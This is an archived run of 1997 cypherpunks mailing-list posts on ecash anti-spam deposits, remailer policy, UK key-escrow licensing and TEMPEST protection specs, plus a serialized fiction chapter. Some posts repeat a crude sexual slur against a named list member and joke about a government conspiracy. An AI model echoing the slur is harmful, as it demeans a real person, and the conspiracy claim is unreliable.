MIME-Version: 1.0
Content-Type: text/plain


We've digitized several chapters of the US Army Corps of 
Engineers "Electromagnetic Pulse (EMP) and TEMPEST 
Protection for Facilities."

   http://jya.com/emp.htm

Pretty good specs for what to do outside the laboratory
to protect against compromising emanations (and rude 
nukes), many previously discussed here.

Reminder: Joel McNamara hosts the non-classified cornucopia:

   http://www.eskimo.com/~joelm/tempest.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Wed, 26 Mar 1997 06:30:28 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: game theoretic analysis of junk mail
In-Reply-To: <Pine.SUN.3.96.970326004814.1233A-100000@eskimo.com>
Message-ID: <199703261430.PAA05866@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Wei Dai!  Long time no read!  I hope to see more articles from
you.


 A million monkeys operating under the pseudonym 
 "Wei Dai <weidai@eskimo.com>" typed:
> 
> The junk mail problem (also known as spam) is well known to just about
> everyone who receives e-mail.  There has also been many solutions
> proposed.  Noticeably, the idea of having e-mail senders include ecash
> payments with their mail has come up several times (I believe as the
> result of independent discovery).


I've suggested it several times.  I'm curious who else has 
proposed it.


<snip on game model of problem>


Nice!  I look forward to part 2.  (And part 3, where you go 
ahead and account for the cost of signing up for digital 
payment systems and the cost of managing each 
deposit/payment...)



I think the major problems with the proposal are first making 
digital payment systems ubiquitous and second making the
"unsolicited mail good faith deposit" idea ubiquitous.



Hm.  If we could somehow make the _idea_ gain.. er.. 
"currency" then the problem of spammers would cause more 
people to adopt digital payment systems.  _That_ would be
making a blessing from a curse!


Regards,

Zooko Journeyman, a.k.a. Bryce

PGP sig follows




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kevin McGowan" <alsop@ix.netcom.com>
Date: Wed, 26 Mar 1997 15:39:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: New remailer
Message-ID: <199703262339.RAA18103@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Features: cpunk pgp pgponly hash cut ksub

Public key for remailer@neva.org

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Version: 2.6.2

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tBoyTXVsZXMgPHJlbWFpbGVyQG5ldmEub3JnPg==
=ta0J
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Mar 1997 15:22:39 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: KRAP
In-Reply-To: <199703262100.QAA13328@upaya.multiverse.com>
Message-ID: <3339AF8D.74E0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jeremey Barrett wrote:

> >  Key Recovery Agents Plan
 
> I dunno, but they couldn't have picked a better acronym :-)

  Good eye. I read about it and never noticed their
truth-in-advertising acronym.

  You are hereby awarded 50,000,000 Toto Eca$h credits.
  (1,000,000,000,000,000,000 = 1 peso)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Wed, 26 Mar 1997 08:47:05 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Anonymous mail as spam?
In-Reply-To: <3339331C.4C2A@sk.sympatico.ca>
Message-ID: <199703261646.RAA10051@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Toto <toto@sk.sympatico.ca>" typed:
> 
>   I believe that the 'money-point' for UCE (unsolicited commercial
> email) spammers is somewhere around .02% for most of their offerings.
>   In other words, they need to send out 10,000 emails and get a response
> just to break even.


Actually I had a talk with a certain anti-spam ISP owner
recently, and she asserted that the spammers don't make
significant money from responses to their spams, but are
instead making their money from stupid newbie companies who 
pay them for advertising service.


It's an interesting proposition.  You would think, though, that
the spamsters might as well just take the stupid newbie
company's cash and then send a couple of token e-mail 
messages, if that's their business model.  :-)


>   I truly believe that the InterNet should be left accessible to those
> without a lot of resources/cash, and that any effort to control abuse
> through cost should be so minimal as to not interfere with the ability
> of those who are currency-challenged to participate in its benefits.


I concur.  Note that a variation on the "good faith deposit"
idea is to make the included payment an actual, final
_payment_.  If it were small enough, it wouldn't really matter
to the sender (especially since she would probably get a
response back containing a similar payment).  Still, in order
to minimize the economic impact on non-commercial senders, 
I favor a deposit instead.  (It can be implemented almost as
efficiently as a final payment would...)


Again I assert, though, that this "deposit" shall have no legal
effect.  The cost of possibly incurring legal liability far 
outweighs the amounts that we are dealing with, effectively 
killing the whole idea in its cradle.


Regards,

Zooko

NOT speaking for DigiCash or any other person or organization.

PGP sig follows




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Mar 1997 18:48:00 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3339DF9F.5B62@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 01:27 AM 3/26/97 -0600, Toto wrote:
> |I emailed John Gilmore, asking his advice, and he informed me that
> |he has run into this problem before, and would be happy to provide the
> |solution, on one condition.
> |  He wants one million monkeys to send 5737 messages to the list, saying
> |"John Gilmore is NOT a cocksucker."
> |  Then, he will provide the solution, and not a moment before.

> OK, John, count me in. #1!
> "John Gilmore is NOT a cocksucker."

EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
10 "no" votes, so you folks better get real busy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 26 Mar 1997 16:06:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 17-18
Message-ID: <3339BA11.6842@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Pitch


Bubba was sitting quietly, contemplating
the meaning of the conversation that he had engaged in with Alexis
the previous evening, while they were awaiting Priscilla's return
from the 'initiation' of a new member of the mythical 'Circle
of Eunuchs'.

Alexis, though fully aware of the sublime
connection that existed between herself and the Cowboy, still
had little idea of the full ramifications of many of the things
she instinctively 'knew' or 'felt' regarding their relationship
and the bond between them. There were 'levels of upon levels'
of meanings to everything surrounding this great battle that was
currently being enacted across the face of the earth-perhaps for
the last time-and it fell upon Bubba to extract every ounce of
meaning from every detail, to sort and sift every microcosmic
nuance of every single item of information that pertained to the
ongoing battle of wits taking place between the 'Magic Circle'
and the 'Dark Forces' that they opposed.

There were two details, in particular, that
were bothering him at this point in time. The first was Alexis's
statement of the night before.
"I know that the Cowboy and I are perhaps not meant to have
a 'real' relationship, in this life, anyway. I understand
that, Bubba. I know that there's something we're involved with
that goes beyond the personal affairs of the individual participants
in a grander scheme of things.
"But I'm really mad that the one chance that he had
to acknowledge me, the one opportunity for him to acknowledge
us, he had to be such a...such a..."

"Such a man.", Bubba had
finished the thought for her.

"Yes!", Alexis had cried out,
satisfied that Bubba had helped her hit the nail exactly on the
head. "And I'm going to give him 'Holy Hell' about it, the
next time I see him.", she continued, resolutely.

Bubba, 'three sheets to the wind', at the
time, had noticed the discrepancy in her statements, and made
note to himself to resolve it later. And now was later.

Alexis instinctively 'knew' that she would
not be seeing the Cowboy again-ever-but she was blissfully 'unaware'
of knowing it, just the same. Thus she could talk about never
seeing him again, and then turn around and talk about the next
time she saw him.
Ignorance is bliss, in many an instance, and Bubba was
grateful that the 'powers that be' were allowing her this blissful
ignorance, while bringing this fact to Bubba's attention, regardless.

This did not bode well. Especially given
the second fact that was troubling Bubba. Priscilla had failed
to return from her previous night's rendezvous with a new member
of the 'Circle'. This did not bode well, at all.

Bubba's concern about Priscilla was allayed,
however, when she came in later, joined Bubba at his table for
a short drink, without the customary 'peck' on his cheek, and
left abruptly, with no meaningful conversation having taken place.
The 'explanation' for what changes were being wrought in the grand
scheme of things would obviously come from another.

Bubba waited...and watched...and waited...



It was several hours before Alexis came
in, stopping to converse, and flirt, with a few of the other patrons
before joining "my favorite old geezer," as she loudly
proclaimed to one and all, at his table in the corner. She gave
Bubba a warm hug and leaned to kiss him fondly on the cheek, whispering
in his ear,
"How's my favorite Uncle, today?" 

"Fine, my dear, just fine."

He gave her a fatherly kiss on the forehead,
in return, disturbed by her message, but somehow relieved that
the 'game' that had been played for centuries between the 'Circle'
and the 'Dark Forces' had finally moved onward, past the point
of no return.

The Cowboy had finally set in motion what
was likely to be the final match in a contest that had spanned
millennium-the battle between the forces of light and the forces
of darkness on the cosmic sphere known as Earth-the battle for
the souls of men.
And this battle, Bubba was certain, was for 'all the marbles'-the
souls of all mankind.

"God help us all.", Bubba thought,
inwardly, as Alexis sat and waited for a sign from him as to what
he needed of her, from this point on.


"Have you got time to sit and flirt
with a lecherous old geezer with evil intentions, my dear?"

Alexis gave Bubba an affectionate hug, and
ran a finger slowly and flirtatiously down his chest, to his navel.
She blew him a kiss and laughed like a little schoolgirl playing
with fire and enjoying the danger. She was glad Bubba needed her
to be with him a while, because there was a strange heaviness
reaching for her from afar, and she needed a point of stability
to lean on, to share that heaviness.

Bubba brought out a deck of cards, as he
did on very rare occasions, and they played silently, while Bubba
concentrated his thoughts on the developing situation, reading,
as best as possible, at the same time, the energy coming from
the affinity between Alexis and the Cowboy.

Alexis, after winning several hands of a
game she had never played before, a game she knew nothing about,
but one which she suddenly, instinctively, knew how to play, asked
Bubba the name of the game.

"Pitch.", he replied.

"Pitch, with the 'Bitch'?", Alexis
asked, quizzically.

Bubba smiled, a genuine, joyous, earth-shaking
smile, and Alexis smiled with him.

"What are we playing for?", Alexis
asked, teasing Bubba with a cute, quizzical look.

"We're playing for all the marbles.",
he replied, giving her a wink.

And somewhere, on the softness of the breeze
that wafted gently, inexplicably across the room, a voice from
far away whispered,

"We're 'Shooting the Moon', boys and
girls. We're shooting the moon."


Shooting the Moon


I need to get out of here. Soon...very soon.

Schultz goes back on duty at Level Two next week,
Jesus #1 and Jesus #2 are driving me crazy, and I know that Gomez
has something nasty up his sleeve by now.

I've spent a major portion of my life orienting my
every action towards making sure that I leave a cold trail behind
me, but now I'm a 'link'. A link to the past, a link to the present,
and a link to the Magic Circle...the Circle of Eunuchs.

I'm fairly certain what Gomez will do now. He'll
seed the InterNet with clues and messages regarding my situation
and my location, hoping someone in the Circle will follow the
trail and make an attempt to break me out of here.

They wouldn't, of course, I had made sure of that
with my reference to 'Uncle Bubba'. Gomez knew, knew absolutely,
that this was impossible, but he would have to check it out-I
was sure of that. It was the whole foundation upon which I had
based the dangerous game I had set in motion. If I was wrong...

No! I couldn't even think about that possibility. I had told him
everything. I knew the moment his henchmen had grabbed me that
I was out of the loop, with no way to get a message to the Circle.
My only hope was to find a way to get Gomez to deliver the message
himself.

It was a desperate gambit. 'Shooting the Moon', we
used to call it in my youth. 


Dad and mom used to take us to Wichita, a mid-western
city in Kansas, in the former United States of America. One of
dad's six sisters, Marjorie, lived there with her husband and
family. Alia and Larry and I used to stay up all night playing
cards with our cousins, Bob and Ronnie Springsteen. Those were
the glory days. 
It was a time and a place that was as close as one could get to
'heaven on earth'. It was a time of peace and prosperity, living
in the greatest nation on earth. A time and place where children
were blessed beyond belief. Food was plentiful, affluence was
the norm, education was free. The 'Great American Dream' was possible
for anybody, harder for some than others to attain, but still
possible. 

It was all we knew. We thought that was how life
had always been and how it was meant to be. We never knew...

If only we had known...


The game was called 'Pitch'. Fifty-two cards dealt
to four players. Each hand called a 'trick'. There were four suits,
diamonds, hearts, clubs and spades. We would bid on how many tricks
we thought we could win, and the high bid got to name 'trump'.
Trump was the suit that ruled over the other suits. Trump was
boss-hog...except for the 'Bitch'.

When a suit was 'led' (the first card played in each
hand), you had to 'follow suit' (play the cards you had in that
suit). If you had no cards in that suit, then you could play 'trump'
and win the hand.

Four players, divided into two teams, the members
of each team being 'partners'. The partner's fates were intertwined-fellow
warriors joined in battle against the other two players. They
lived together and they died together, symbolically speaking,
with the fate of each depending on the other. There was only one
catch...the bidding was 'blind', you had no idea what kind
of cards your partner was holding.

I know...I know. You think we were crazy. You
are wondering what could possibly be the point of a structural
procedure whose successful outcome depended upon haphazard conjecture
founded upon an inadequate substructure of informative data.

The only answer I can give you is via a colloquialism
of the time...'you just had to be there'.

I realize that in WebWorld data accuracy and structural
integrity is paramount. 
'Everything is the norm, and the norm is everything'.
We didn't have that saying back then. That was a concept we called
'fascism', or 'totalitarianism'. It was a notion that was considered
a great evil in our time.

Yes, I know. You think I'm 'pulling your leg', as
we used to say, but it's true. In order to understand the concept
of what we called 'games', back then, you need to get clear in
your mind that they were not, as I know you are thinking of them,
a matter of 'random chance'. 

I realize that you have been programmed by your Channel,
from early childhood, to think of any deviation from 'total information
accuracy maintenance' as a sign of mental imbalance, but I implore
you to attempt to free your minds from your Channel orientation
for the briefest of moments-just long enough to understand and
give consideration to the concept I am trying to explain.
I know it's blasphemy. I know that the whole concept is totally
contrary to 'Channel Logic', but believe me when I tell you that
it is your only hope to escape from an evil that lurks in the
heart of all you have been raised to believe as sacred and true.

The card games we played back then were not like
we have today. Today the cards are dealt 'face up', the players
then studying the cards and reaching mutual agreement as to who
has the better hand.
Even so, card games today are considered a foolish activity, an
archaic holdover from the past that is mostly indulged in by the
inmates at the psychiatric facilities, but there is a subtle difference
from the way we played back then.

The games of the Before Channel era were a combination
of information analysis and random chance. Their very essence
was established on the concept of a consummate symmetry of haphazard
circumstance and the certitude of the absolute.

'Pitch', with the 'Bitch', was the consummate game
of my childhood.

The 'Bitch' was the 'Black Bitch'-the Queen of Spades.


Ron and Bob had a black Springer Spaniel, a bitch,
who had developed a taste for cards. Once, when I had given her
hell for destroying a new deck I had broken out, she came up to
me shortly afterward, offering me a slightly chewed card she held
in her mouth, as a peace offering. It was the Queen of Spades.

My uncle Bill, consoling me because I had to spend the last of
my allowance buying a new deck, spun me a tale about how Lady
Luck had given me a sign, by sending the Black Bitch to me via
the black bitch, and that the Queen of Spades, which was so unlucky
for others, would be lucky for me.

I believed him then, and I still believe him now.



I suppose that I ought to tell you how Pitch was
played, for you to understand the significance of just why the
Bitch was feared by those who played the game.

There were twenty-six points to be won in each game.
A point for each hand taken, and thirteen points for the Queen
of Spades. But the Queen of Spades was a two-edged sword.
If you 'made' your bid, getting at least as many tricks as you
had bid, then you got that many points, but thirteen points were
subtracted for the 'Bitch' if it were among the tricks
you had won. If you failed to reach the required number of points
you had bid, then you went 'set' and lost the corresponding number
of points.

'Shooting the Moon' meant you declared your intention
to take all the tricks, including the 'Bitch', and your final
score was doubled. You got thirteen points for the tricks, and
the Queen of Spades counted as thirteen points in your favor.
If you failed to win all the tricks, however, you went 'set' to
the tune of 26 points.
 So when you 'Shot the Moon', then you won 'big-time' or
you lost 'big-time'.

We would cut the cards to decide who would be partners
in each game and there was invariably a groan from the person
who was unfortunate enough to become partners with 'yours truly'.


I was the crazy one, lunging into battle, time and
time again, with a complete disregard for the pragmatic status
which the cards conveyed to anyone with the sensibility to base
their play even remotely within the bounds of reason and rationality.

My divinely inspired strategy for bidding was based on my complete
conviction that Lady Luck was my SoulMate-the Yin to my Yang-and
that she was my protector and guardian. I based my whole bidding
strategy on the assumption that Lady Luck's love would never fail
me.
I lost a lot of games, dragging my partners down with me, but
I never lost my passion for 'Shooting the Moon'.

Time and time again my partner and I would be sucked
down into the void, going 'set' on my asinine bids. But there
were also times when I could do no wrong, when Lady Luck would
smile down on me in all her beatific glory. Times when the Moon
was my eternal lover.
With the full moon shining beatifically down upon us, my partner
and I would 'slam' our foes ceaselessly, trick after trick, game
after game, in a savage onslaught of bestial, untamed power. 

I would 'Shoot the Moon' with a hand incapable of
winning a single trick and watch our opponents wail in despair
as they struggled in a futile battle where all they could do was
watch my dumfounded partner capture trick upon trick with a hand
he or she would have been a fool to bid on. They would watch in
a state of numbed disbelief as the impossible was transformed-by
the divine alchemy of Lady Luck-into the inevitable.


You may be wondering what the point of this childhood
story is and, to tell the truth, I'm kind of wondering myself.

One of the great story-tellers of our time, a man
named Herman Hesse, once said, "We make our gods,
and do battle with them...and they bless us."

I believe in Lady Luck and I believe in the Power
of Myth. I believe that Lady Luck loved me and blessed me because
I desired her and created her...with love.
I believe that we created the reality of WebWorld, not
the other way around, and that it is we, not WebTV, that
is sacred. And I believe in the Magic Circle, because......

Because...without the Magic Circle...we are
doomed.


I have never lost the crazy side of my temperament,
but I have matured over the years, sometimes to the point of almost
being mistaken for an adult. I've learned the wisdom of being
mindful of the laws of actuality which govern the universe in
which we live. I've acquired the ability to act with discretion
and be heedful of the need for caution in matters of great importance.

But I've also learned that the Power of Myth is the
cornerstone of the 'Inaugural Enigma'. Mythos is the 'Black Bitch'
of the universe...it's the wildcard in the game of life. 

Once again I find myself 'Shooting the Moon' (without
a winning card in my hand), in a deadly game that may well decide
the fate of mankind.
Gomez, my sworn enemy, is my partner. We live together or we die
together. The hand is his to play. I told him everything, gave
him every reason to believe that he holds all the cards. Spades
are trump, and he's holding the Ace and King. I've given him every
reason to believe he's holding the Queen as well, and, in a way,
he is.

But the Lake of Life has started to turn over. The
bottom is rising to the top, the top is descending to the bottom,
and everything is becoming the opposite of what it seems to be.

Gomez holds the Queen of Spades, but he will lose
the game if he plays it.

You see, 'Uncle Bubba' is the wild card. 'Uncle Bubba'
is the 'Bitch'.


Chapter 17 - Pitch / Chapter 18 - Shooting the Moon







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger<nobody@huge.cajones>
Date: Wed, 26 Mar 1997 17:39:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703270136.TAA24233@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


its deployer.
Subject: Re: game theoretic analysis of junk mail


Bryce wrote:

> If I send a message to cpunks, and it is destined to reach
> 1000 mailboxes, do I have to include USD 100.00 with my
> message, which will be split by the majordomo into 1000
> 10-cent pieces?  Yikes!  And then I have to hope that all of
> the cypherpunks return my deposit.  Sounds like a bad bet.

  All discussions of eca$h charges for email seem to refer to a figure
of $ .10 as a reasonable sum. I suspect that this is due to people
subconsciously equating email with snail mail.
  I think that email, however, is a creature of its own design, and its
essence lies somewhere between snail mail and conversation.

  Think about this:
  What if, everytime you spoke to someone during the day, you had to
pay a dime? How would this change the interpersonal rapport that goes
on daily between friends, acquaintances, and strangers?

  What if you are a polite person, who thanks others regularly? And it
costs you a dime every time you do so?
  What if people rarely reply, "You're welcome." and it ends up costing
you an arm and a leg to be polite?
  This is just a simple conversational example, to illustrate that 
a small cost can have major ramifications when applied to various
situations.

  The Internet and the Web indeed have the potential to bring global
change in the arenas of knowledge and communications, but the question
is, will it do so in a manner that promotes equality, or in a manner
that promotes elitism and increased class-structures?

  The concept of limiting UCE/Spam through use of an email surcharge
may be viable, but then one has to deal with issues surrounding those
who have a need to communicate and few funds to devote towards doing
so. For example, people with disabilities who have legitimate needs
to receive support and information via support forums.
  The minute that $$$ enter the picture, then a class-system begins to
develop, and all sorts of individual, corporate and government entities
come out of the woodwork to level the playing field, or to build many
different levels on the playing field.

  The Internet's future may well parallel the development of the public
school system, in some ways. Public education was indeed something which
raised the level of all, but private schools made certain that those who
had the edge kept it.
  My view is that the nadir point in any new direction that society
takes comes fairly early after its inception. Thus the near future is
the time when it will be decided which direction the Net and the Web
will move, and in what areas its potential will be developed.
  Those who shape the Internet and the Web in the next year or so will
have a vast effect on the future.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 26 Mar 1997 20:41:26 -0800 (PST)
To: hallam@ai.mit.edu, gnu
Subject: UK domestic crypto regulation proposal *is* Clipper
Message-ID: <199703270440.UAA22819@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've seen several comments on cypherpunks that misconstrue the UK proposal.
E.g. Phillip Hallam-Baker said:

> First off the proposals are not intended as a Trojan horse for
> the Clipper chip "or any other colonial scheme".
> ...
> They are emphatically not trying to introduce a Clipper chip proposal.

Unfortunately, I believe he is wrong.  It's worse than Clipper, since
it outlaws the competition.

The proposed legislation would make it illegal to offer the UK public
any service related to key management, including simply signing
peoples' keys, without being licensed by the state.  This licensing
scheme includes a GAK requirement, an interoperability requirement,
and a whole pile of requirements that may need a little translation.

This means that there would only be *one* public-key infrastructure in
the UK (they claim this as a feature for end-users, since it provides
interoperability -- though they apparently haven't picked *whose* PKI
they are going to enshrine as a monopoly).  Unfortunately it would be
completely subverted by the government.  Users would have no choice
about whether to use a different infrastructure, say from another
country, or by setting it up themselves using PGP, Secure DNS, or
whatever.  The "trust" they offer is 100% sham, since you yourself
don't get to pick who you trust.  They do.

"It will be necessary to ensure that TTP security personnel are
competent, suitably qualified, trusted, & have successfully completed
a recognised security vetting procedure."  Translation: "Public key
certification authorities will need a security clearance."

"Checks will need to be undertaken to ensure that the background and
other business interests of [TTP company] directors would not
compromise the trust placed in a TTP."  And later, "Checks will be
made to ensure that those who own, or effectively control, an
organisation, are suitable candidates for ownership of a TTP."
Translation: "We will only license people who we believe will turn
over anyone's key on demand.  If they show any sign that their
customers could actually trust them to keep private keys private,
their license will not be approved."

It explicitly states:

	It will be a criminal offence for a body to offer or provide
	licensable encryption services to the UK public without a
	valid license.

This isn't a requirement on USERS, it's a requirement on OFFERERS.
However, what this means for users is that if you want to use digital
signatures, you have to use a Traitorous Third Party.  It will be
illegal for anyone else to offer you a digital signature service.
Perhaps you could use encryption without using digital signatures, but
you've just lost most of the benefits of public-key cryptography.

I believe the proposal outlaws Secure DNS services.  Merely signing
the keys of sub-domains, for free or for money, would be illegal.  You
will only be able to secure the Internet if you first subvert the
Internet by turning over the keys.

And while the government mentions in several places that it isn't
interested in access to authentication keys, the proposal still
requires that anyone providing authentication services (like signing
keys) be a licensed TTP and subject to GAK.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Mar 1997 23:57:33 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703270557.XAA27131@manifold.algebra.com>
Message-ID: <333A2834.300F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> I can tell you even without John Gilmore, the corrupted From: lines are
> a direct result of the government conspiracy to suppress cypherpunks
> movement. A typical man in the middle attack, if you wish.

What you just said is the unspoken fear and dread every one of us
wakes up with in the morning (those of us who are still sane).
The U.S. Founding Fathers warned of the need for constant vigilance,
and nowhere is that need better illustrated than here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 26 Mar 1997 22:04:20 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <3339DF9F.5B62@gte.net>
Message-ID: <199703270557.XAA27131@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Alec wrote:
> > At 01:27 AM 3/26/97 -0600, Toto wrote:
> > |I emailed John Gilmore, asking his advice, and he informed me that
> > |he has run into this problem before, and would be happy to provide the
> > |solution, on one condition.
> > |  He wants one million monkeys to send 5737 messages to the list, saying
> > |"John Gilmore is NOT a cocksucker."
> > |  Then, he will provide the solution, and not a moment before.
> 
> > OK, John, count me in. #1!
> > "John Gilmore is NOT a cocksucker."
> 
> EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
> 10 "no" votes, so you folks better get real busy.
> 

I can tell you even without John Gilmore, the corrupted From: lines are
a direct result of the government conspiracy to suppress cypherpunks
movement. A typical man in the middle attack, if you wish.

DEATH TO TYRANNY!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Mar 1997 00:18:42 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: remailer spam throttle
In-Reply-To: <Pine.LNX.3.94.970324222338.9176L-100000@neptune.chem.uga.e du>
Message-ID: <3.0.1.32.19970327001712.0065b100@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>From a legal perspective, Greg is right.  However, from a practical
perspective, the important impediments to running remailers are
(1) mail recipients hate you and send lots of complaints and
(1a) usenet readers hate you and send lots of complaints 
	(if you still support news posting.)
Andy's model of a remailer in which the remailer sends the recipient 
a delivery notice with a disclaimer/waiver/etc. and the recipient returns
it to pick up the message raises the level of politeness and lowers
the amount of surprise compared to current remailers, so it's a 
potentially big win.  If I start up a remailer again some year,
other than a middleman, it'll definitely need this kind of feature.
Building the positive public reputation of remailers and remailer
operators is a critical part of keeping the remailer system running,
at least as much as convenient, widely-deployed software.

For posting to Usenet, the "we have an anonymous posting, anybody want it"
approach doesn't sound highly practical, though it could be done,
but I'd probably limit postings to moderated newsgroups (where a human
will be filtering out the blatant spam and abuse) and flame-tolerant
newsgroups like alt.anonymous.messages and alt.flames.  I find this
highly frustrating, since one of the big wins about remailers is 
posting to talk.politics.* and alt.religion.scientology and other
groups where posting your opinion with your name on it may be unsafe.
There's also the problem of publishing acceptable newsgroup lists,
since failing messages silently is unfriendly to users, but 
there's a traffic analysis problem (Bad Guys can watch who fetches
remailer use policies and build up their dossiers.)

Most of the problem with (2) Third Parties _can_ be helped a bit by
disclaimers, by plausible deniability, by not having logs to subpoena,
and by having remailers that you're willing to shut down with profuse
apologies to head off lawsuits.  It isn't a perfect job if someone
really wants to go for blood by making you defend repeated lawsuits
(especially if they're really targeting you, e.g. posting their
Secret Documents through your remailer themselves to entrap you.)
But it'll let most remailer users defend against most reasonable 
complaints.

I do also agree with Greg that getting the sender of a message to
indemnify you isn't worth the recycled electrons used for the
log file you aren't keeping.  That's especially the case if
you're forwarding messages received from other remailers,
unless you can get other remailer operators to indemnify you,
in return for which you'd probably have to indemnify them.  No thanks.

At 01:58 AM 3/25/97 -0800, Greg Broiles wrote:
>I think there are two broad models of complaints/problems with remailers:
>1. The recipient is angry because they received a message they didn't 
>like. (because it's an advertisement, or it's rude, or [....]
>2. A third party is angry because the sender sent some information to the
>recipient which the third party thinks should not have been sent. 
>(copyright, >trademark, defamation, tortious interference [...] 

>Your "contract" model (which looks like you really mean it to be a 
>waiver of warranty/damages and/or an indemnification agreement) 
>addresses (1) to the point of overkill, but it doesn't reach (2), 
>because there's no contract with the third party, who is the party who's
>likely to be filing suit.
>(Indemnification by the sender might work, if you worded the contract
>correctly - but then you've got to abandon anonymity, and the value of
>indemnification from person you don't know whose assets/finances are
>unknown is pretty low.)
>
>Further, some fraction of the messages causing concern are message sent 
>or available to minors .. whose contracts (modulo some exceptions) are 
>voidable at their option. :(

>>..[disclaimers]..
>[doesn't help 2 for same reason]



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 27 Mar 1997 00:13:02 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: INFO: Pro-CODE testimony available now online at  democracy.net!
In-Reply-To: <199703250554.VAA22477@mail.pacifier.com>
Message-ID: <3.0.1.32.19970327001944.02931994@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:52 PM 3/24/97 -0800, jim bell wrote:
=>I, and maybe a lot of other people, are still waiting for somebody to do a 
>side-by-side comparison of "Pro-Code 1997" with last year's version, the 
>original.

A marked-up version (deleted text shown as strikeout, added text shown as
emphasized, common text shown as normal, will require a browser like Netscape
or IE which implements <strike> and <em>) is available at

<http://www.io.com/~gbroiles/procodemarkup.html>. 

It's not exactly attractive, but it gets the job done. 

Am working on a bigger survey of pending US and foreign crypto legislation,
but that may take a few more days.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzotfP37pMWUJFlhAQHaCQf9HjJR+vVVCndFYxnMGhRIwIIrDzlW41W/
okEdFTS34eYvgaK14AHuGi4xGkVBA3z7U+v7WtvOkmrtJCzrh43VjPynE9B5e3c/
+cPi27VS4dJuVyzsYoAQDnkbnK6T/TXjfaZmYwAONuwHbhFzupSgT8x3kAOyUHNP
9YzxdwjTVP6553M1QPqojgOUeSSfz+HMoW0KUi7BZmmLE/dAwQrZ/bXBGq7MZ3sh
eG8RwRAnhTm425qK3aM2k/5SPQoVsroAiN4z9nyAM5pG5piuXfsJ01XsCk++UYes
DGSAWRZkYivBNXMuxP+UIi0KojXjRIWkoaPox1cGQ/qCaUW5frwSJA==
=nZkW
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 26 Mar 1997 21:16:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: improving public acce
Message-ID: <TCPSMTP.17.3.27.0.23.10.2780269260.1586167@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> Adam Back, <aba@dcs.ex.ac.uk>, writes:

